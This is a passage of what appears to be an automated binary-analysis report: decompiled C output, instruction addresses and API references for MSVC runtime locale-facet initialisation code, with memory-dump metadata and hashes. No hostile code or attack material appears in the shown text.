																																																																				}
																																																																			}
																																																																		} else {
																																																																			_t894 = _v16;
																																																																			_v16 = _t894;
																																																																			_v4 = 1;
																																																																			E0048919D(_t894);
																																																																			 *0x4f02b4();
																																																																			 *((intOrPtr*)( *((intOrPtr*)( *_t894 + 4))))();
																																																																			 *0x4ede24 = _t894;
																																																																			goto L145;
																																																																		}
																																																																	} else {
																																																																		_t894 = _t919;
																																																																		goto L145;
																																																																	}
																																																																}
																																																															} else {
																																																																_t893 = _v16;
																																																																_v16 = _t893;
																																																																_v4 = 1;
																																																																E0048919D(_t893);
																																																																 *0x4f02b4();
																																																																 *((intOrPtr*)( *((intOrPtr*)( *_t893 + 4))))();
																																																																 *0x4eddd8 = _t893;
																																																																goto L138;
																																																															}
																																																														} else {
																																																															_t893 = _t918;
																																																															goto L138;
																																																														}
																																																													}
																																																												} else {
																																																													_t892 = _v16;
																																																													_v16 = _t892;
																																																													_v4 = 1;
																																																													E0048919D(_t892);
																																																													 *0x4f02b4();
																																																													 *((intOrPtr*)( *((intOrPtr*)( *_t892 + 4))))();
																																																													 *0x4ede08 = _t892;
																																																													goto L131;
																																																												}
																																																											} else {
																																																												_t892 = _t917;
																																																												goto L131;
																																																											}
																																																										}
																																																									} else {
																																																										_t891 = _v16;
																																																										_v16 = _t891;
																																																										_v4 = 1;
																																																										E0048919D(_t891);
																																																										 *0x4f02b4();
																																																										 *((intOrPtr*)( *((intOrPtr*)( *_t891 + 4))))();
																																																										 *0x4eddd4 = _t891;
																																																										goto L124;
																																																									}
																																																								} else {
																																																									_t891 = _t916;
																																																									goto L124;
																																																								}
																																																							}
																																																						} else {
																																																							_t890 = _v16;
																																																							_v16 = _t890;
																																																							_v4 = 1;
																																																							E0048919D(_t890);
																																																							 *0x4f02b4();
																																																							 *((intOrPtr*)( *((intOrPtr*)( *_t890 + 4))))();
																																																							 *0x4ede04 = _t890;
																																																							goto L117;
																																																						}
																																																					} else {
																																																						_t890 = _t915;
																																																						goto L117;
																																																					}
																																																				}
																																																			} else {
																																																				_t889 = _v16;
																																																				_v16 = _t889;
																																																				_v4 = 1;
																																																				E0048919D(_t889);
																																																				 *0x4f02b4();
																																																				 *((intOrPtr*)( *((intOrPtr*)( *_t889 + 4))))();
																																																				 *0x4eddd0 = _t889;
																																																				goto L110;
																																																			}
																																																		} else {
																																																			_t889 = _t914;
																																																			goto L110;
																																																		}
																																																	}
																																																} else {
																																																	_t888 = _v16;
																																																	_v16 = _t888;
																																																	_v4 = 1;
																																																	E0048919D(_t888);
																																																	 *0x4f02b4();
																																																	 *((intOrPtr*)( *((intOrPtr*)( *_t888 + 4))))();
																																																	 *0x4ede00 = _t888;
																																																	goto L103;
																																																}
																																															} else {
																																																_t888 = _t913;
																																																goto L103;
																																															}
																																														}
																																													} else {
																																														_t887 = _v16;
																																														_v16 = _t887;
																																														_v4 = 1;
																																														E0048919D(_t887);
																																														 *0x4f02b4();
																																														 *((intOrPtr*)( *((intOrPtr*)( *_t887 + 4))))();
																																														 *0x4eddec = _t887;
																																														goto L96;
																																													}
																																												} else {
																																													_t887 = _t912;
																																													goto L96;
																																												}
																																											}
																																										} else {
																																											_t886 = _v16;
																																											_v16 = _t886;
																																											_v4 = 1;
																																											E0048919D(_t886);
																																											 *0x4f02b4();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t886 + 4))))();
																																											 *0x4eddf0 = _t886;
																																											goto L89;
																																										}
																																									} else {
																																										_t886 = _t911;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t885 = _v16;
																																								_v16 = _t885;
																																								_v4 = 1;
																																								E0048919D(_t885);
																																								 *0x4f02b4();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t885 + 4))))();
																																								 *0x4ede1c = _t885;
																																								goto L82;
																																							}
																																						} else {
																																							_t885 = _t910;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t884 = _v16;
																																					_v16 = _t884;
																																					_v4 = 1;
																																					E0048919D(_t884);
																																					 *0x4f02b4();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t884 + 4))))();
																																					 *0x4ede20 = _t884;
																																					goto L75;
																																				}
																																			} else {
																																				_t884 = _t909;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t883 = _v16;
																																		_v16 = _t883;
																																		_v4 = 1;
																																		E0048919D(_t883);
																																		 *0x4f02b4();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t883 + 4))))();
																																		 *0x4edde8 = _t883;
																																		goto L68;
																																	}
																																} else {
																																	_t883 = _t908;
																																	goto L68;
																																}
																															}
																														} else {
																															_t882 = _v16;
																															_v16 = _t882;
																															_v4 = 1;
																															E0048919D(_t882);
																															 *0x4f02b4();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t882 + 4))))();
																															 *0x4ede18 = _t882;
																															goto L61;
																														}
																													} else {
																														_t882 = _t907;
																														goto L61;
																													}
																												}
																											} else {
																												_t881 = _v16;
																												_v16 = _t881;
																												_v4 = 1;
																												E0048919D(_t881);
																												 *0x4f02b4();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t881 + 4))))();
																												 *0x4edde4 = _t881;
																												goto L54;
																											}
																										} else {
																											_t881 = _t906;
																											goto L54;
																										}
																									}
																								} else {
																									_t880 = _v16;
																									_v16 = _t880;
																									_v4 = 1;
																									E0048919D(_t880);
																									 *0x4f02b4();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t880 + 4))))();
																									 *0x4ede14 = _t880;
																									goto L47;
																								}
																							} else {
																								_t880 = _t905;
																								goto L47;
																							}
																						}
																					} else {
																						_t879 = _v16;
																						_v16 = _t879;
																						_v4 = 1;
																						E0048919D(_t879);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t879 + 4))))();
																						 *0x4edde0 = _t879;
																						goto L40;
																					}
																				} else {
																					_t879 = _t904;
																					goto L40;
																				}
																			}
																		} else {
																			_t878 = _v16;
																			_v16 = _t878;
																			_v4 = 1;
																			E0048919D(_t878);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t878 + 4))))();
																			 *0x4ede10 = _t878;
																			goto L33;
																		}
																	} else {
																		_t878 = _t903;
																		goto L33;
																	}
																}
															} else {
																_t877 = _v16;
																_v16 = _t877;
																_v4 = 1;
																E0048919D(_t877);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t877 + 4))))();
																 *0x4eddfc = _t877;
																goto L26;
															}
														} else {
															_t877 = _t902;
															goto L26;
														}
													}
												} else {
													_t876 = _v16;
													_v16 = _t876;
													_v4 = 1;
													E0048919D(_t876);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t876 + 4))))();
													 *0x4edddc = _t876;
													goto L19;
												}
											} else {
												_t876 = _t901;
												goto L19;
											}
										}
									} else {
										_t875 = _v16;
										_v16 = _t875;
										_v4 = 1;
										E0048919D(_t875);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t875 + 4))))();
										 *0x4ede0c = _t875;
										goto L12;
									}
								} else {
									_t875 = _t900;
									goto L12;
								}
							}
						} else {
							_t874 = _v16;
							_v16 = _t874;
							_v4 = 1;
							E0048919D(_t874);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t874 + 4))))();
							 *0x4ede2c = _t874;
							goto L5;
						}
					} else {
						_t874 = _t899;
						goto L5;
					}
				}
			}

0x0048c268
0x0048c268
0x0048c26f
0x0048c279
0x0048c27e
0x0048c289
0x0048c28d
0x0048c299
0x0048c29e
0x0048c2a2
0x0048c2e7
0x0048c2ea
0x0048c2f6
0x0048c2a4
0x0048c2a6
0x0048c2ac
0x0048c2b2
0x0048c2ba
0x0048c2bd
0x0048c2f7
0x0048c2fc
0x0048c2fd
0x0048c304
0x0048c30e
0x0048c313
0x0048c31e
0x0048c322
0x0048c333
0x0048c335
0x0048c337
0x0048c37c
0x0048c37f
0x0048c38b
0x0048c339
0x0048c339
0x0048c33b
0x0048c341
0x0048c347
0x0048c34f
0x0048c352
0x0048c38c
0x0048c391
0x0048c392
0x0048c399
0x0048c3a3
0x0048c3a8
0x0048c3b3
0x0048c3b7
0x0048c3c8
0x0048c3ca
0x0048c3cc
0x0048c411
0x0048c414
0x0048c420
0x0048c3ce
0x0048c3ce
0x0048c3d0
0x0048c3d6
0x0048c3dc
0x0048c3e4
0x0048c3e7
0x0048c421
0x0048c426
0x0048c427
0x0048c42e
0x0048c438
0x0048c43d
0x0048c448
0x0048c44c
0x0048c45d
0x0048c45f
0x0048c461
0x0048c4a6
0x0048c4a9
0x0048c4b5
0x0048c463
0x0048c463
0x0048c465
0x0048c46b
0x0048c471
0x0048c479
0x0048c47c
0x0048c4b6
0x0048c4bb
0x0048c4bc
0x0048c4c3
0x0048c4cd
0x0048c4d2
0x0048c4dd
0x0048c4e1
0x0048c4f2
0x0048c4f4
0x0048c4f6
0x0048c53b
0x0048c53e
0x0048c54a
0x0048c4f8
0x0048c4f8
0x0048c4fa
0x0048c500
0x0048c506
0x0048c50e
0x0048c511
0x0048c54b
0x0048c550
0x0048c551
0x0048c558
0x0048c562
0x0048c567
0x0048c572
0x0048c576
0x0048c587
0x0048c589
0x0048c58b
0x0048c5d0
0x0048c5d3
0x0048c5df
0x0048c58d
0x0048c58d
0x0048c58f
0x0048c595
0x0048c59b
0x0048c5a3
0x0048c5a6
0x0048c5e0
0x0048c5e5
0x0048c5e6
0x0048c5ed
0x0048c5f7
0x0048c5fc
0x0048c607
0x0048c60b
0x0048c61c
0x0048c61e
0x0048c620
0x0048c665
0x0048c668
0x0048c674
0x0048c622
0x0048c622
0x0048c624
0x0048c62a
0x0048c630
0x0048c638
0x0048c63b
0x0048c675
0x0048c67a
0x0048c67b
0x0048c682
0x0048c68c
0x0048c691
0x0048c69c
0x0048c6a0
0x0048c6b1
0x0048c6b3
0x0048c6b5
0x0048c6fa
0x0048c6fd
0x0048c709
0x0048c6b7
0x0048c6b7
0x0048c6b9
0x0048c6bf
0x0048c6c5
0x0048c6cd
0x0048c6d0
0x0048c70a
0x0048c70f
0x0048c710
0x0048c717
0x0048c721
0x0048c726
0x0048c731
0x0048c735
0x0048c746
0x0048c748
0x0048c74a
0x0048c78f
0x0048c792
0x0048c79e
0x0048c74c
0x0048c74c
0x0048c74e
0x0048c754
0x0048c75a
0x0048c762
0x0048c765
0x0048c79f
0x0048c7a4
0x0048c7a5
0x0048c7ac
0x0048c7b6
0x0048c7bb
0x0048c7c6
0x0048c7ca
0x0048c7db
0x0048c7dd
0x0048c7df
0x0048c824
0x0048c827
0x0048c833
0x0048c7e1
0x0048c7e1
0x0048c7e3
0x0048c7e9
0x0048c7ef
0x0048c7f7
0x0048c7fa
0x0048c834
0x0048c839
0x0048c83a
0x0048c841
0x0048c84b
0x0048c850
0x0048c85b
0x0048c85f
0x0048c870
0x0048c872
0x0048c874
0x0048c8b9
0x0048c8bc
0x0048c8c8
0x0048c876
0x0048c876
0x0048c878
0x0048c87e
0x0048c884
0x0048c88c
0x0048c88f
0x0048c8c9
0x0048c8ce
0x0048c8cf
0x0048c8d6
0x0048c8e0
0x0048c8e5
0x0048c8f0
0x0048c8f4
0x0048c905
0x0048c907
0x0048c909
0x0048c94e
0x0048c951
0x0048c95d
0x0048c90b
0x0048c90b
0x0048c90d
0x0048c913
0x0048c919
0x0048c921
0x0048c924
0x0048c95e
0x0048c963
0x0048c964
0x0048c96b
0x0048c975
0x0048c97a
0x0048c985
0x0048c989
0x0048c99a
0x0048c99c
0x0048c99e
0x0048c9e3
0x0048c9e6
0x0048c9f2
0x0048c9a0
0x0048c9a0
0x0048c9a2
0x0048c9a8
0x0048c9ae
0x0048c9b6
0x0048c9b9
0x0048c9f3
0x0048c9f8
0x0048c9f9
0x0048ca00
0x0048ca0a
0x0048ca0f
0x0048ca1a
0x0048ca1e
0x0048ca2f
0x0048ca31
0x0048ca33
0x0048ca78
0x0048ca7b
0x0048ca87
0x0048ca35
0x0048ca35
0x0048ca37
0x0048ca3d
0x0048ca43
0x0048ca4b
0x0048ca4e
0x0048ca88
0x0048ca8d
0x0048ca8e
0x0048ca95
0x0048ca9f
0x0048caa4
0x0048caaf
0x0048cab3
0x0048cac4
0x0048cac6
0x0048cac8
0x0048cb0d
0x0048cb10
0x0048cb1c
0x0048caca
0x0048caca
0x0048cacc
0x0048cad2
0x0048cad8
0x0048cae0
0x0048cae3
0x0048cb1d
0x0048cb22
0x0048cb23
0x0048cb2a
0x0048cb34
0x0048cb39
0x0048cb44
0x0048cb48
0x0048cb59
0x0048cb5b
0x0048cb5d
0x0048cba2
0x0048cba5
0x0048cbb1
0x0048cb5f
0x0048cb5f
0x0048cb61
0x0048cb67
0x0048cb6d
0x0048cb75
0x0048cb78
0x0048cbb2
0x0048cbb7
0x0048cbb8
0x0048cbbf
0x0048cbc9
0x0048cbce
0x0048cbd9
0x0048cbdd
0x0048cbee
0x0048cbf0
0x0048cbf2
0x0048cc37
0x0048cc3a
0x0048cc46
0x0048cbf4
0x0048cbf4
0x0048cbf6
0x0048cbfc
0x0048cc02
0x0048cc0a
0x0048cc0d
0x0048cc47
0x0048cc4c
0x0048cc4d
0x0048cc54
0x0048cc5e
0x0048cc63
0x0048cc6e
0x0048cc72
0x0048cc83
0x0048cc85
0x0048cc87
0x0048cccc
0x0048cccf
0x0048ccdb
0x0048cc89
0x0048cc89
0x0048cc8b
0x0048cc91
0x0048cc97
0x0048cc9f
0x0048cca2
0x0048ccdc
0x0048cce1
0x0048cce2
0x0048cce9
0x0048ccf3
0x0048ccf8
0x0048cd03
0x0048cd07
0x0048cd18
0x0048cd1a
0x0048cd1c
0x0048cd61
0x0048cd64
0x0048cd70
0x0048cd1e
0x0048cd1e
0x0048cd20
0x0048cd26
0x0048cd2c
0x0048cd34
0x0048cd37
0x0048cd71
0x0048cd76
0x0048cd77
0x0048cd7e
0x0048cd88
0x0048cd8d
0x0048cd98
0x0048cd9c
0x0048cdad
0x0048cdaf
0x0048cdb1
0x0048cdf6
0x0048cdf9
0x0048ce05
0x0048cdb3
0x0048cdb3
0x0048cdb5
0x0048cdbb
0x0048cdc1
0x0048cdc9
0x0048cdcc
0x0048ce06
0x0048ce0b
0x0048ce0c
0x0048ce13
0x0048ce1d
0x0048ce22
0x0048ce2d
0x0048ce31
0x0048ce42
0x0048ce44
0x0048ce46
0x0048ce8b
0x0048ce8e
0x0048ce9a
0x0048ce48
0x0048ce48
0x0048ce4a
0x0048ce50
0x0048ce56
0x0048ce5e
0x0048ce61
0x0048ce9b
0x0048cea0
0x0048cea1
0x0048cea8
0x0048ceb2
0x0048ceb7
0x0048cec2
0x0048cec6
0x0048ced7
0x0048ced9
0x0048cedb
0x0048cf20
0x0048cf23
0x0048cf2f
0x0048cedd
0x0048cedd
0x0048cedf
0x0048cee5
0x0048ceeb
0x0048cef3
0x0048cef6
0x0048cf30
0x0048cf35
0x0048cf36
0x0048cf3d
0x0048cf47
0x0048cf4c
0x0048cf57
0x0048cf5b
0x0048cf6c
0x0048cf6e
0x0048cf70
0x0048cfb5
0x0048cfb8
0x0048cfc4
0x0048cf72
0x0048cf72
0x0048cf74
0x0048cf7a
0x0048cf80
0x0048cf88
0x0048cf8b
0x0048cfc5
0x0048cfca
0x0048cfcb
0x0048cfd2
0x0048cfdc
0x0048cfe1
0x0048cfec
0x0048cff0
0x0048d001
0x0048d003
0x0048d005
0x0048d04a
0x0048d04d
0x0048d059
0x0048d007
0x0048d007
0x0048d009
0x0048d00f
0x0048d015
0x0048d016
0x0048d01c
0x0048d01d
0x0048d020
0x0048d05a
0x0048d05f
0x0048d063
0x0048d067
0x0048d06b
0x0048d06b
0x0048d06b
0x0048d06f
0x0048d076
0x0048d079
0x0048d082
0x0048d022
0x0048d022
0x0048d025
0x0048d029
0x0048d02d
0x0048d03a
0x0048d042
0x0048d044
0x00000000
0x0048d044
0x0048d00b
0x0048d00b
0x00000000
0x0048d00b
0x0048d009
0x0048cf8d
0x0048cf8d
0x0048cf90
0x0048cf94
0x0048cf98
0x0048cfa5
0x0048cfad
0x0048cfaf
0x00000000
0x0048cfaf
0x0048cf76
0x0048cf76
0x00000000
0x0048cf76
0x0048cf74
0x0048cef8
0x0048cef8
0x0048cefb
0x0048ceff
0x0048cf03
0x0048cf10
0x0048cf18
0x0048cf1a
0x00000000
0x0048cf1a
0x0048cee1
0x0048cee1
0x00000000
0x0048cee1
0x0048cedf
0x0048ce63
0x0048ce63
0x0048ce66
0x0048ce6a
0x0048ce6e
0x0048ce7b
0x0048ce83
0x0048ce85
0x00000000
0x0048ce85
0x0048ce4c
0x0048ce4c
0x00000000
0x0048ce4c
0x0048ce4a
0x0048cdce
0x0048cdce
0x0048cdd1
0x0048cdd5
0x0048cdd9
0x0048cde6
0x0048cdee
0x0048cdf0
0x00000000
0x0048cdf0
0x0048cdb7
0x0048cdb7
0x00000000
0x0048cdb7
0x0048cdb5
0x0048cd39
0x0048cd39
0x0048cd3c
0x0048cd40
0x0048cd44
0x0048cd51
0x0048cd59
0x0048cd5b
0x00000000
0x0048cd5b
0x0048cd22
0x0048cd22
0x00000000
0x0048cd22
0x0048cd20
0x0048cca4
0x0048cca4
0x0048cca7
0x0048ccab
0x0048ccaf
0x0048ccbc
0x0048ccc4
0x0048ccc6
0x00000000
0x0048ccc6
0x0048cc8d
0x0048cc8d
0x00000000
0x0048cc8d
0x0048cc8b
0x0048cc0f
0x0048cc0f
0x0048cc12
0x0048cc16
0x0048cc1a
0x0048cc27
0x0048cc2f
0x0048cc31
0x00000000
0x0048cc31
0x0048cbf8
0x0048cbf8
0x00000000
0x0048cbf8
0x0048cbf6
0x0048cb7a
0x0048cb7a
0x0048cb7d
0x0048cb81
0x0048cb85
0x0048cb92
0x0048cb9a
0x0048cb9c
0x00000000
0x0048cb9c
0x0048cb63
0x0048cb63
0x00000000
0x0048cb63
0x0048cb61
0x0048cae5
0x0048cae5
0x0048cae8
0x0048caec
0x0048caf0
0x0048cafd
0x0048cb05
0x0048cb07
0x00000000
0x0048cb07
0x0048cace
0x0048cace
0x00000000
0x0048cace
0x0048cacc
0x0048ca50
0x0048ca50
0x0048ca53
0x0048ca57
0x0048ca5b
0x0048ca68
0x0048ca70
0x0048ca72
0x00000000
0x0048ca72
0x0048ca39
0x0048ca39
0x00000000
0x0048ca39
0x0048ca37
0x0048c9bb
0x0048c9bb
0x0048c9be
0x0048c9c2
0x0048c9c6
0x0048c9d3
0x0048c9db
0x0048c9dd
0x00000000
0x0048c9dd
0x0048c9a4
0x0048c9a4
0x00000000
0x0048c9a4
0x0048c9a2
0x0048c926
0x0048c926
0x0048c929
0x0048c92d
0x0048c931
0x0048c93e
0x0048c946
0x0048c948
0x00000000
0x0048c948
0x0048c90f
0x0048c90f
0x00000000
0x0048c90f
0x0048c90d
0x0048c891
0x0048c891
0x0048c894
0x0048c898
0x0048c89c
0x0048c8a9
0x0048c8b1
0x0048c8b3
0x00000000
0x0048c8b3
0x0048c87a
0x0048c87a
0x00000000
0x0048c87a
0x0048c878
0x0048c7fc
0x0048c7fc
0x0048c7ff
0x0048c803
0x0048c807
0x0048c814
0x0048c81c
0x0048c81e
0x00000000
0x0048c81e
0x0048c7e5
0x0048c7e5
0x00000000
0x0048c7e5
0x0048c7e3
0x0048c767
0x0048c767
0x0048c76a
0x0048c76e
0x0048c772
0x0048c77f
0x0048c787
0x0048c789
0x00000000
0x0048c789
0x0048c750
0x0048c750
0x00000000
0x0048c750
0x0048c74e
0x0048c6d2
0x0048c6d2
0x0048c6d5
0x0048c6d9
0x0048c6dd
0x0048c6ea
0x0048c6f2
0x0048c6f4
0x00000000
0x0048c6f4
0x0048c6bb
0x0048c6bb
0x00000000
0x0048c6bb
0x0048c6b9
0x0048c63d
0x0048c63d
0x0048c640
0x0048c644
0x0048c648
0x0048c655
0x0048c65d
0x0048c65f
0x00000000
0x0048c65f
0x0048c626
0x0048c626
0x00000000
0x0048c626
0x0048c624
0x0048c5a8
0x0048c5a8
0x0048c5ab
0x0048c5af
0x0048c5b3
0x0048c5c0
0x0048c5c8
0x0048c5ca
0x00000000
0x0048c5ca
0x0048c591
0x0048c591
0x00000000
0x0048c591
0x0048c58f
0x0048c513
0x0048c513
0x0048c516
0x0048c51a
0x0048c51e
0x0048c52b
0x0048c533
0x0048c535
0x00000000
0x0048c535
0x0048c4fc
0x0048c4fc
0x00000000
0x0048c4fc
0x0048c4fa
0x0048c47e
0x0048c47e
0x0048c481
0x0048c485
0x0048c489
0x0048c496
0x0048c49e
0x0048c4a0
0x00000000
0x0048c4a0
0x0048c467
0x0048c467
0x00000000
0x0048c467
0x0048c465
0x0048c3e9
0x0048c3e9
0x0048c3ec
0x0048c3f0
0x0048c3f4
0x0048c401
0x0048c409
0x0048c40b
0x00000000
0x0048c40b
0x0048c3d2
0x0048c3d2
0x00000000
0x0048c3d2
0x0048c3d0
0x0048c354
0x0048c354
0x0048c357
0x0048c35b
0x0048c35f
0x0048c36c
0x0048c374
0x0048c376
0x00000000
0x0048c376
0x0048c33d
0x0048c33d
0x00000000
0x0048c33d
0x0048c33b
0x0048c2bf
0x0048c2bf
0x0048c2c2
0x0048c2c6
0x0048c2ca
0x0048c2d7
0x0048c2df
0x0048c2e1
0x00000000
0x0048c2e1
0x0048c2a8
0x0048c2a8
0x00000000
0x0048c2a8
0x0048c2a6

APIs

__EH_prolog3.LIBCMT ref: 0048C26F
std::_Lockit::_Lockit.LIBCPMT ref: 0048C279

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

codecvt.LIBCPMT ref: 0048C2B3
std::_Facet_Register.LIBCPMT ref: 0048C2CA
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C2EA
Concurrency::cancel_current_task.LIBCPMT ref: 0048C2F7

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registercodecvt
String ID:
API String ID: 878568432-0
Opcode ID: f9b42739db0fe4ad26672f8d983802dcc547d66bd66853f7c03e4a294528a55f
Instruction ID: a07ac3cf4498590bcecd5019c5e677d058efcd5d06127725674c0da307080c16
Opcode Fuzzy Hash: f9b42739db0fe4ad26672f8d983802dcc547d66bd66853f7c03e4a294528a55f
Instruction Fuzzy Hash: 74018B75D001158BCB05BBA5D85A6BE77A1AF84714F15485EE810AB3C2CF789A018B9D

Uniqueness

Uniqueness Score: -1.00%

Function 0048C2FD, Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0048C2FD(intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				void* _v272;
				signed int _t285;
				void* _t532;
				short* _t766;
				void* _t836;
				void* _t837;
				signed int _t839;
				signed int _t840;
				signed int _t841;
				signed int _t842;
				signed int _t843;
				signed int _t844;
				signed int _t845;
				signed int _t846;
				signed int _t847;
				signed int _t848;
				signed int _t849;
				signed int _t850;
				signed int _t851;
				signed int _t852;
				signed int _t853;
				signed int _t854;
				signed int _t855;
				signed int _t856;
				signed int _t857;
				signed int _t858;
				signed int _t859;
				signed int _t860;
				void* _t861;
				signed int _t862;
				signed int _t863;
				signed int _t864;
				signed int _t865;
				signed int _t866;
				signed int _t867;
				signed int _t868;
				signed int _t869;
				signed int _t870;
				signed int _t871;
				signed int _t872;
				signed int _t873;
				signed int _t874;
				signed int _t875;
				signed int _t876;
				signed int _t877;
				signed int _t878;
				signed int _t879;
				signed int _t880;
				signed int _t881;
				signed int _t882;
				signed int _t883;
				signed int _t884;
				short* _t885;
				void* _t913;
				void* _t914;

				_push(8);
				L0049D90B(0x4d6966, _t837, _t861);
				L00488DEA( &_v20, 0);
				_t862 =  *0x4ede0c; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t862;
				_t285 = E0042B315(_a8, E0042B22E(0x4eddb0, _t837, _t862, _t914));
				_t838 = _t285;
				if(_t285 != 0) {
					L5:
					L00488E42( &_v20);
					return L0049D8D4(_t838);
				} else {
					if(_t862 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = L0048DE31(_t836, _t838, _t862, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							L0049D90B(0x4d6966, _t838, _t862);
							L00488DEA( &_v20, 0);
							_t863 =  *0x4edddc; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t863;
							_t839 = E0042B315(_a8, E0042B22E(0x4edd88, _t838, _t863, __eflags));
							__eflags = _t839;
							if(_t839 != 0) {
								L12:
								L00488E42( &_v20);
								return L0049D8D4(_t839);
							} else {
								__eflags = _t863;
								if(__eflags == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = L0048DED3(_t836, _t839, _t863, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										L0049D90B(0x4d6966, _t839, _t863);
										L00488DEA( &_v20, 0);
										_t864 =  *0x4eddfc; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t864;
										_t840 = E0042B315(_a8, E0042B22E(0x4ed910, _t839, _t864, __eflags));
										__eflags = _t840;
										if(_t840 != 0) {
											L19:
											L00488E42( &_v20);
											return L0049D8D4(_t840);
										} else {
											__eflags = _t864;
											if(__eflags == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = L0048DF75(_t840, _t864, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													L0049D90B(0x4d6966, _t840, _t864);
													L00488DEA( &_v20, 0);
													_t865 =  *0x4ede10; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t865;
													_t841 = E0042B315(_a8, E0042B22E(0x4eddb4, _t840, _t865, __eflags));
													__eflags = _t841;
													if(_t841 != 0) {
														L26:
														L00488E42( &_v20);
														return L0049D8D4(_t841);
													} else {
														__eflags = _t865;
														if(__eflags == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = L0048DFE5(_t841, _t865, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																L0049D90B(0x4d6966, _t841, _t865);
																L00488DEA( &_v20, 0);
																_t866 =  *0x4edde0; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t866;
																_t842 = E0042B315(_a8, E0042B22E(0x4edd8c, _t841, _t866, __eflags));
																__eflags = _t842;
																if(_t842 != 0) {
																	L33:
																	L00488E42( &_v20);
																	return L0049D8D4(_t842);
																} else {
																	__eflags = _t866;
																	if(__eflags == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E0048E04D(_t842, _t866, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			L0049D90B(0x4d6966, _t842, _t866);
																			L00488DEA( &_v20, 0);
																			_t867 =  *0x4ede14; // 0x0
																			_v4 = _v4 & 0x00000000;
																			_v16 = _t867;
																			_t843 = E0042B315(_a8, E0042B22E(0x4eddb8, _t842, _t867, __eflags));
																			__eflags = _t843;
																			if(_t843 != 0) {
																				L40:
																				L00488E42( &_v20);
																				return L0049D8D4(_t843);
																			} else {
																				__eflags = _t867;
																				if(__eflags == 0) {
																					_push(_a8);
																					_push( &_v16);
																					__eflags = E0048E0B5(_t843, _t867, __eflags) - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(8);
																						L0049D90B(0x4d6966, _t843, _t867);
																						L00488DEA( &_v20, 0);
																						_t868 =  *0x4edde4; // 0x0
																						_v4 = _v4 & 0x00000000;
																						_v16 = _t868;
																						_t844 = E0042B315(_a8, E0042B22E(0x4edd90, _t843, _t868, __eflags));
																						__eflags = _t844;
																						if(_t844 != 0) {
																							L47:
																							L00488E42( &_v20);
																							return L0049D8D4(_t844);
																						} else {
																							__eflags = _t868;
																							if(__eflags == 0) {
																								_push(_a8);
																								_push( &_v16);
																								__eflags = E0048E11D(_t844, _t868, __eflags) - 0xffffffff;
																								if(__eflags == 0) {
																									E0042B042(__eflags);
																									asm("int3");
																									_push(8);
																									L0049D90B(0x4d6966, _t844, _t868);
																									L00488DEA( &_v20, 0);
																									_t869 =  *0x4ede18; // 0x0
																									_v4 = _v4 & 0x00000000;
																									_v16 = _t869;
																									_t845 = E0042B315(_a8, E0042B22E(0x4eddbc, _t844, _t869, __eflags));
																									__eflags = _t845;
																									if(_t845 != 0) {
																										L54:
																										L00488E42( &_v20);
																										return L0049D8D4(_t845);
																									} else {
																										__eflags = _t869;
																										if(__eflags == 0) {
																											_push(_a8);
																											_push( &_v16);
																											__eflags = E0048E185(_t845, _t869, __eflags) - 0xffffffff;
																											if(__eflags == 0) {
																												E0042B042(__eflags);
																												asm("int3");
																												_push(8);
																												L0049D90B(0x4d6966, _t845, _t869);
																												L00488DEA( &_v20, 0);
																												_t870 =  *0x4edde8; // 0x0
																												_v4 = _v4 & 0x00000000;
																												_v16 = _t870;
																												_t846 = E0042B315(_a8, E0042B22E(0x4edd94, _t845, _t870, __eflags));
																												__eflags = _t846;
																												if(_t846 != 0) {
																													L61:
																													L00488E42( &_v20);
																													return L0049D8D4(_t846);
																												} else {
																													__eflags = _t870;
																													if(__eflags == 0) {
																														_push(_a8);
																														_push( &_v16);
